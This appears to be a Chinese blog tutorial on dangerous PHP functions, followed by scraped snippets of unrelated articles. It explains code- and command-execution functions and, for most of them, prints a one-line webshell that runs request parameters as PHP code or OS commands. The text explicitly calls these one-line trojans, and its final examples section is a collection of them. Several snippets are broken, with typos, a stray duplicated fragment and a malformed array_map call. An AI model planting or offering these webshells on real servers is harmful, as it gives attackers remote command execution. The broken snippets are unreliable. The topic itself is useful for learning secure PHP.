PHP危险函数
PHP危险函数
文章目录
- PHP危险函数
- PHP 代码执行函数
- eval 语句
- assert()语句
- preg_replace()函数
- 正则表达式里
- 修饰符
- 回调函数
- call_user_func()函数
- array_map()函数
- OS命令执行函数
- system()函数
- exec()函数
- shell_exec()函数
- passthru() 函数
- popen 函数
- 反引号``
- 实列
通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数
PHP 代码执行函数
字符串当中PHP代码来执行
eval 语句
eval() 会将符合PHP 语法规范字符串当作php 代码执行
这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令
$code = $_REQUEST['code'];
eval($code);
通过简写就是一句话木马的原型
@eval($ REQUEST['code']);
也可以嵌入eval(eval());的形式来执行
assert()语句
- assert() 只能执行单条PHP 语句
- 在低版本中assert() 是一个函数,可以动态调用。
- 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);
因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行

preg_replace()函数
preg_replace 执行一个正则表达式的搜索和替换
正则表达式:一类字符特征
preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)
在第二个参数里"\\1"是第一个匹配到的字符
正则表达式里
.*是表示匹配所有
修饰符
i匹配大小写
e将匹配到符合php代码的字符执行
回调函数
一个函数调用另外一个函数。PHP 语言中回调函数有很多。
call_user_func()函数
特点
- 只能调用函数
- 不能用结构语句
用assert执行phpinfo函数
$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数
参数必须为数组
$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);
OS命令执行函数
OS命令执行函数:把字符串当作系统命令执行
system()函数
是一个典型的系统命令执行函数
特点
- 自带输出功能
- 自动区分系统平台
<?php$cmd=$_REQUEST['cmd'];system($cmd);?>
exec()函数
将字符串当作代码执行
特点:
- 能执行系统命令
- 不自带输出
- 只输出命令执行结果的最后一行
<?php$cmd = "ipconfig";var_dump(exec($cmd));?>
shell_exec()函数
特点:
- 通过 shell 执行命令并将完整的输出以字符串的方式返回
- 不自带输出
<?php$cmd =$_REQUEST["cmd"];echo shell_exec($cmd);?>
passthru() 函数
执行外部程序并且显示原始输出
特点
- 能执行系统命令
- 自带输出功能
<?php $cmd =$_REQUEST["cmd"]; passthru($cmd);
?>
popen 函数
特点
- 把命令结果当作成一个文件
- 不自带输出功能
- 函数返回值为文件指针,可以简单理解为文件名
想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数

模式。‘r’ 表示阅读,‘w’ 表示写入。
<?php$cmd=$_REQUEST["cmd"];$result=popen($cmd,"r");echo fread($resukt,1024);
反引号``
反引号` 内的字符串,会被解析成OS 命令。
$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");echo fread($resukt,1024);
实列
- system
以字符串的形式执行系统命令并自带回显
<?phpsystem($_GET['cmd']);
?>

2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功
<?php echo exec($_REQUEST['cmd']);
?>

3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能
<?php echo shell_exec($_REQUEST['cmd']);
?>

4. passthru
执行外部程序并且显示原始输出
<?php passthru ($_REQUEST['cmd']);
?>

5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>

- ``反引号
反引号` 内的字符串,会被解析成OS 命令
<?php$a=$_REQUEST['cmd'];echo `$a`;
?>

7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行
<?php
echo @eval ($_REQUEST['cmd']);
?>

- assert
<?phpassert($_REQUEST['cmd']);?>

- preg_replace
<?phpecho preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');
?>

- call_user_func
<?phpcall_user_func('assert','phpinfo()');
?>

- array_map
只能执行数组
<?php$a[]=phpinfo();array_map(assert(),$a);
?>

- 动态函数
$func="system";
$func2="ipconfig";
$func($func2);

相关文章:
PHP危险函数
PHP危险函数 文章目录 PHP危险函数PHP 代码执行函数eval 语句assert()语句preg_replace()函数正则表达式里修饰符 回调函数call_user_func()函数array_map()函数 OS命令执行函数system()函数exec()函数shell_exec()函数passthru() 函数popen 函数反引号 实列 通过构造函数可以执…...
【ARM Cortex-M 系列 4 番外篇 -- 常用 benchmark 介绍】
文章目录 1.1 CPU 性能测试 MIPS 计算1.1.1 Cortex-M7 CPI 1.2 benchmark 小节1.3.1 Geekbenck 介绍 1.3 编译参数配置 1.1 CPU 性能测试 MIPS 计算 每秒百万指令数 (MIPS):在数据压缩测试中,MIPS 每秒测量一次 CPU 执行的低级指令的数量。越高越好&…...
web安全-原发抗抵赖
原发抗抵赖 原发抗抵赖也称不可否认性,主要表现以下两种形式: 数据发送者无法否认其发送数据的事实。例如,A向B发信,事后,A不能否认该信是其发送的。数据接收者事后无法否认其收到过这些数据。例如,A向B发…...
强化学习------PPO算法
目录 简介一、PPO原理1、由On-policy 转化为Off-policy2、Importance Sampling(重要性采样)3、off-policy下的梯度公式推导 二、PPO算法两种形式1、PPO-Penalty2、PPO-Clip 三、PPO算法实战四、参考 简介 PPO 算法之所以被提出,根本原因在于…...
node(三)express框架
文章目录 1.express介绍2.express初体验3.express路由3.1什么是路由?3.2路由的使用 1.express介绍 是一个基于Node平台的极简、灵活的WEB应用开发框架,官网地址:https://www.expressjs.com.cn/ 简单来说,express是一个封装好的工…...
linux find命令搜索日志内容
linux find命令搜索日志内容 查询服务器log日志 find /opt/logs/ -name "filename.log" | xargs grep -a "这里是要查询的字符"加上-a 是为了不报查出 binary 的错 服务器会返回 包含所查字符的整行日志信息...
CentOS 编译安装TinyXml2
安装 TinyXml2 Git 源码下载地址:https://github.com/leethomason/tinyxml2 步骤1:首先,你需要下载tinyxml2的源代码。你可以从Github或者源代码官方网站下载。并上传至/usr/local/source_code/ 步骤2:下载完成后,需要将源代码解…...
竞赛选题 深度学习人体跌倒检测 -yolo 机器视觉 opencv python
0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习的人体跌倒检测算法研究与实现 ** 该项目较为新颖,适合作为竞赛课题方向,学长非常推荐! 🥇学长这里给一个题目综合评分(每项满…...
使用gson将复杂的树型结构转Json遇到的问题,写入文件为空
某个项目需要用到一个较为复杂的数据结构。定义成一个树型链表。 public class TreeNode { private String name; public String getName() { return name; } public void setName(String name) { this.name name; } public String getPartType() { retur…...
JavaScript异步编程:提升性能与用户体验
目录 什么是异步编程? 回调函数 Promise Async/Await 总结 在Web开发中,处理耗时操作是一项重要的任务。如果我们在执行这些操作时阻塞了主线程,会导致页面失去响应,用户体验下降。JavaScript异步编程则可以解决这个问题&…...
lossBN
still tips for learning classification and regression关于softmax的引入和作用分类问题损失函数 - MSE & Cross-entropy⭐Batch Normalization(BN)⭐想法:直接改error surface的landscape,把山铲平feature normalization那…...
【微信小程序】数字化会议OA系统之投票模块(附源码)
🎉🎉欢迎来到我的CSDN主页!🎉🎉 🏅我是Java方文山,一个在CSDN分享笔记的博主。📚📚 🌟推荐给大家我的专栏《微信小程序开发实战》。🎯Ἲ…...
clang-前端插件-给各种无花括号的“块”加花括号-基于llvm15--clang-plugin-add-brace
处理的语句 case 术语约定或备忘 case起止范围: 从冒号到下一个’case’开头, 简称有: case内 、case内容Ast: Abstract syntax tree: 抽象语法树没插入花括号的case 若case内, 以下任一条成立,则 跳过该case 即 不会对该case内容用花括号包裹. 有#define、有#include、有…...
python爬虫-某政府网站加速乐(简单版)实例小记
# -*- coding:utf-8 -*- # Time : 2023/10/23 17:06 # Author: 水兵没月 # File : 哈哈哈哈.py # Software: PyCharm ####################import random import requests# 代理 def get_proxy(proxy_typerandom.choice([1,2,3,4,5])):url "http://ZZZZZZZZZZZZZZZZZZ&qu…...
stable diffusion简介和原理
Stable Diffusion中文的意思是稳定扩散,本质上是基于AI的图像扩散生成模型。 Stable Diffusion是一个引人注目的深度学习模型,它使用潜在扩散过程来生成图像,允许模型在生成图像时考虑到文本的描述。这个模型的出现引起了广泛的关注和讨论&am…...
【机器学习】模型平移不变性/等变性归纳偏置Attention机制
Alphafold2具有旋转不变性吗——从图像识别到蛋白结构预测的旋转对称性实现 通过Alphafold2如何预测蛋白质结构,看有哪些机制或tricks可以利用? 一、等变Transformer 等变Transformer是Transformer众多变体的其中一种,其强调等变性。不变性…...
c++的4中类型转换操作符(static_cast,reinterpret_cast,dynamic_cast,const_cast),RTTI
目录 引入 介绍 static_cast 介绍 使用 reinterpret_cast 介绍 使用 const_cast 介绍 使用 dynamic_cast 介绍 使用 RTTI(运行时确定类型) 介绍 typeid运算符 dynamic_cast运算符 type_info类 引入 原本在c中,我们就已经接触到了很多类型转换 -- 隐式类型转…...
CNN实现与训练--------------以cifar10数据集为例进行演示(基于Tensorflow)
本文以cifar10数据集为例进行演示 (cifar10数据集有5万张3232像素点的彩色图片,用于训练有1万张3232像素点的彩色图片,用于测试) import tensorflow as tf import os import numpy as np from matplotlib import pyplot as plt from tensorflow.keras.layers import Conv2…...
YOLOv5算法改进(21)— 添加CA注意力机制 + 更换Neck网络之BiFPN + 更换损失函数之EIoU
前言:Hello大家好,我是小哥谈。通过上节课的学习,相信同学们一定了解了组合改进的核心。本节课开始,就让我们结合论文来对YOLOv5进行组合改进(添加CA注意力机制+更换Neck网络之BiFPN+更换损失函数之EIoU),希望同学们学完本节课可以有所启迪,并且后期可以自行进行YOLOv5…...
面对6G时代 适合通信专业的 毕业设计题目
对于通信专业的本科生来说,选择一个与学习内容紧密相关的毕业设计题目十分重要。 以下是东枫科技建议的题目,它们涵盖了通信技术的不同方面: 高校老师可以申请东枫科技工程师共同对学生指导,完成毕业设计。 基于5G/6G的通信技术…...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
python执行测试用例,allure报乱码且未成功生成报告
allure执行测试用例时显示乱码:‘allure’ �����ڲ����ⲿ���Ҳ���ǿ�&am…...
使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域,向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能,能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作,并通过具体…...
QT3D学习笔记——圆台、圆锥
类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...
BLEU评分:机器翻译质量评估的黄金标准
BLEU评分:机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域,衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标,自2002年由IBM的Kishore Papineni等人提出以来,…...
Pydantic + Function Calling的结合
1、Pydantic Pydantic 是一个 Python 库,用于数据验证和设置管理,通过 Python 类型注解强制执行数据类型。它广泛用于 API 开发(如 FastAPI)、配置管理和数据解析,核心功能包括: 数据验证:通过…...
密码学基础——SM4算法
博客主页:christine-rr-CSDN博客 专栏主页:密码学 📌 【今日更新】📌 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 编辑…...
